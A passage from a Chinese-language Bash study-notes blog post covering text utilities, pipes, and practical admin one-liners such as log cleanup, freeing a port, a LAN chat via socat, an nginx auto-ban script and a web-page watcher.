href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%95%B0%E6%8D%AE%E6%93%8D%E4%BD%9C%E7%B1%BB%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"数据操作类指令\"\u003e\u003c/a\u003e数据操作类指令\u003c/h3\u003e\u003cp\u003ehead命令用于显示文件的开头几行,sort命令用于对文件或标准输入进行排序,可以按照字母顺序、数字大小、日期等方式进行排序,uniq命令则用于去除重复的行,可以通过参数指定只保留重复行的数量或只显示重复行。\u003c/p\u003e\u003cp\u003ehead命令的语法:\u003ccode\u003ehead [选项] [文件]\u003c/code\u003e。例如,要查看文件file.txt的前10行,请使用以下命令:\u003ccode\u003ehead -n 10 file.txt\u003c/code\u003e。¹\\\u003c/p\u003e\u003cp\u003esort命令的语法:\u003ccode\u003esort [选项] [文件]\u003c/code\u003e。例如,要按字母顺序对文件file.txt进行排序,请使用以下命令:\u003ccode\u003esort file.txt\u003c/code\u003e。要按数字大小对文件进行排序,请使用以下命令:\u003ccode\u003esort -n file.txt\u003c/code\u003e。\u003c/p\u003e\u003cp\u003euniq命令的语法:\u003ccode\u003euniq [选项] [输入文件] [输出文件]\u003c/code\u003e。例如,要从文件file.txt中删除重复的行并将结果写入新文件newfile.txt,请使用以下命令:\u003ccode\u003euniq file.txt newfile.txt\u003c/code\u003e。要显示重复行及其出现次数,请使用以下命令:\u003ccode\u003euniq -c file.txt\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"Bash的语法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Bash%E7%9A%84%E8%AF%AD%E6%B3%95\" class=\"headerlink\" title=\"Bash的语法\"\u003e\u003c/a\u003eBash的语法\u003c/h3\u003e\u003cp\u003ebash的一行语句结尾可以写分号\u003ccode\u003e;\u003c/code\u003e,也可以不写。用分号可以将多条指令串联起来运行,比如\u003ccode\u003ecmd1; cmd2; cmd3; ...\u003c/code\u003e\u003c/p\u003e\u003cp\u003e它的管道是一个相当好用的东西,可以将几个命令的输入输出相互串起来,得到一个组合后的工具,并且管道是系统级工具,因此十分灵活且高效。比如\u003ccode\u003ecmd1 | cmd2 | xargs cmd3 | ...\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这里的\u003ccode\u003exargs\u003c/code\u003e是另一个工具,它可以将它得到的stdin转化成后面跟随指令的参数列表。比如\u003ccode\u003efind . -type f -name \u0026#34;* *\u0026#34; -print0 | xargs -0 rm -f\u003c/code\u003e,它就可以将符合条件的文件作为一个参数列表传递给\u003ccode\u003erm -f\u003c/code\u003e指令。另外,这里的\u003ccode\u003e-0\u003c/code\u003e是告诉xargs,在读入stdin时,使用 null 作为分隔符。\u003c/p\u003e\u003cp\u003e除了管道和分号,还有\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e,也可以连接多条指令。它和分号类似,不过区别是它会检查前一条指令的运行结果(返回值),并且根据这个来决定是否运行下一条指令。例如,\u003ccode\u003ecmd1 \u0026amp;\u0026amp; cmd2 \u0026amp;\u0026amp; cmd3\u003c/code\u003e,这样写的话,只要任意一个指令运行失败,那么它之后的所有指令都会不执行,这样可以有效防止发生一些难以预料的情况。\u003c/p\u003e\u003ch2 id=\"一些用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"一些用法\"\u003e\u003c/a\u003e一些用法\u003c/h2\u003e\u003cp\u003e黑魔法开始了(不是\u003c/p\u003e\u003ch3 id=\"统计输出情况\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%BB%9F%E8%AE%A1%E8%BE%93%E5%87%BA%E6%83%85%E5%86%B5\" class=\"headerlink\" title=\"统计输出情况\"\u003e\u003c/a\u003e统计输出情况\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./a.out | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n 100000 | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就能得到统计好的输出数据。\u003c/p\u003e\u003ch3 id=\"随机输出一行\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%9A%8F%E6%9C%BA%E8%BE%93%E5%87%BA%E4%B8%80%E8%A1%8C\" class=\"headerlink\" title=\"随机输出一行\"\u003e\u003c/a\u003e随机输出一行\u003c/h3\u003e\u003cp\u003e看到同学发的抽奖现场用Python现写程序,节目效果拉满()不过,都用Linux了,还不用Bash?\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); sed -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003ep \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的命令其实是3行命令,但是每行都比较短就合成一行了。第一个和第二个都是赋值命令,设置文件名,并根据文件行数生成随机数。第三行用\u003ccode\u003esed\u003c/code\u003e从文件中读取指定的行。\u003c/p\u003e\u003cp\u003e对于第三行指令,其实不用\u003ccode\u003esed\u003c/code\u003e也行,用\u003ccode\u003ehead -n \u0026#34;$rand\u0026#34; | tail -n 1\u0026#34;\u003c/code\u003e也是能得到相同的结果。完整指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); \u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e \u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003e | \u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -n 1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总之能看出,对于操作数据,Linux自带的工具也很强大了。\u003c/p\u003e\u003ch3 id=\"保留最近三天的文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%BF%9D%E7%95%99%E6%9C%80%E8%BF%91%E4%B8%89%E5%A4%A9%E7%9A%84%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"保留最近三天的文件\"\u003e\u003c/a\u003e保留最近三天的文件\u003c/h3\u003e\u003cp\u003e这东西用来清log和冗余备份确实好用。\u003c/p\u003e\u003cp\u003e清文件夹记得把-f换成-rf。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind [target file \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e path] -mtime +2 |xargs \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -f\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Ubuntu内存释放\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Ubuntu%E5%86%85%E5%AD%98%E9%87%8A%E6%94%BE\" class=\"headerlink\" title=\"Ubuntu内存释放\"\u003e\u003c/a\u003eUbuntu内存释放\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2020.12.18 11:05:00\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e下面的指令用来释放系统内存,只在Ubuntu上测试过。长期运行的服务器最好严密监督内存使用情况:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eecho 3 \u0026gt;/proc/sys/vm/drop_caches\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e啊对了注意指令里是vm不是mv。\u003c/p\u003e\u003ch3 id=\"ln-强大的软链接工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#ln-%E5%BC%BA%E5%A4%A7%E7%9A%84%E8%BD%AF%E9%93%BE%E6%8E%A5%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"ln-强大的软链接工具\"\u003e\u003c/a\u003eln-强大的软链接工具\u003c/h3\u003e\u003cp\u003e常用用法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e –s 源文件 软连接文件\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这可以帮我们把一个文件链接到另一个地方,类似Windows的快捷方式。\u003c/p\u003e\u003cp\u003e我一般会用它把正在开发的项目链接到nginx的目录下,来实时预览效果。\u003c/p\u003e\u003ch3 id=\"端口占用解除\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8%E8%A7%A3%E9%99%A4\" class=\"headerlink\" title=\"端口占用解除\"\u003e\u003c/a\u003e端口占用解除\u003c/h3\u003e\u003cp\u003e有时候一些网络应用会启动失败,提示端口被占用。那么一般怎么解决呢?\u003c/p\u003e\u003ch4 id=\"系统环境\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%B3%BB%E7%BB%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"系统环境\"\u003e\u003c/a\u003e系统环境\u003c/h4\u003e\u003cp\u003e我的系统是Ubuntu20.04,其他Linux应该也大同小异。\u003c/p\u003e\u003ch4 id=\"解决步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E5%86%B3%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"解决步骤\"\u003e\u003c/a\u003e解决步骤\u003c/h4\u003e\u003cp\u003e就两步。先找到进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat -anlp| grep 端口号\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后结束进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ekill -9 进程pid\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完事儿。\u003c/p\u003e\u003cp\u003e或者可以用awk和管道把命令缩短到一行:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat -anlp | grep 3000 | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $7}\u0026#39;\u003c/span\u003e | awk -F \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e | xargs \u003cspan class=\"built_in\"\u003ekill\u003c/span\u003e -9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不太好看但是还挺方便。起码手不疼了(\u003c/p\u003e\u003ch3 id=\"nc\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#nc\" class=\"headerlink\" title=\"nc\"\u003e\u003c/a\u003enc\u003c/h3\u003e\u003cp\u003e用\u003ccode\u003enc\u003c/code\u003e可以进行局域网聊天(不是\u003c/p\u003e\u003cp\u003e用 \u003ccode\u003esocat\u003c/code\u003e 还可以群聊: 局域网内所有 Linux 机器,输入下方命令加入群聊(指 UDP 广播)(狗头)(狗头) \u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esocat - UDP-DATAGRAM:255.255.255.255:12345,broadcast,\u003cspan class=\"built_in\"\u003ebind\u003c/span\u003e=0.0.0.0:12345\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"根据nginx日志自动ban异常IP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%A0%B9%E6%8D%AEnginx%E6%97%A5%E5%BF%97%E8%87%AA%E5%8A%A8ban%E5%BC%82%E5%B8%B8IP\" class=\"headerlink\" title=\"根据nginx日志自动ban异常IP\"\u003e\u003c/a\u003e根据nginx日志自动ban异常IP\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eline=1000 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etimes\u003c/span\u003e=10 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econf=/opt/nginx/conf/blockip.conf \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e /data/logs/nginx/access.log -n \u003cspan class=\"variable\"\u003e$line\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egrep -E \u003cspan class=\"string\"\u003e\u0026#39;(\u0026#34;status\u0026#34;:\u0026#34;404\u0026#34;|\u0026#34;status\u0026#34;:\u0026#34;302\u0026#34;)\u0026#39;\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eawk \u003cspan class=\"string\"\u003e\u0026#39;$1\u0026gt;$times{print \u0026#34;deny \u0026#34;$2 \u0026#34;;\u0026#34;}\u0026#39;\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edeny=$(\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | awk \u003cspan class=\"string\"\u003e\u0026#39;{print \u0026#34;deny \u0026#34;$3}\u0026#39;\u003c/span\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$deny\u003c/span\u003e | sed \u003cspan class=\"string\"\u003e\u0026#34;s/; /;\\n/g\u0026#34;\u003c/span\u003e \u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/sbin/nginx -t || \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/bin/systemctl reload nginx\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"一些小工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E5%B0%8F%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"一些小工具\"\u003e\u003c/a\u003e一些小工具\u003c/h3\u003e\u003cp\u003elazygit ,Git 的终端界面\u003cbr/\u003eranger ,终端文件管理器\u003cbr/\u003elolcat ,对输出做渐变色处理\u003cbr/\u003etrash ,mv 的垃圾回收站版本\u003cbr/\u003eicdiff ,diff 的样式改进版本\u003cbr/\u003elsd ,带文件类型图标的 ls\u003c/p\u003e\u003ch3 id=\"跟踪某网页特定内容\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B7%9F%E8%B8%AA%E6%9F%90%E7%BD%91%E9%A1%B5%E7%89%B9%E5%AE%9A%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"跟踪某网页特定内容\"\u003e\u003c/a\u003e跟踪某网页特定内容\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=\u003cspan class=\"string\"\u003e\u0026#34;http://v2ex.com\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewant=\u003cspan class=\"string\"\u003e\u0026#34;好玩\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u0026#34;\u003c/span\u003e -O contents\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result=$(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e contents | ack -i \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$want\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$result\u003c/span\u003e\u0026#34;\u003c/span\u003e | mail -s \u003cspan class=\"string\"\u003e\u0026#34;Notification\u0026#34;\u003c/span\u003e youe@mail.com\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;nothing\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"空间查看\"\u003e\u003ca 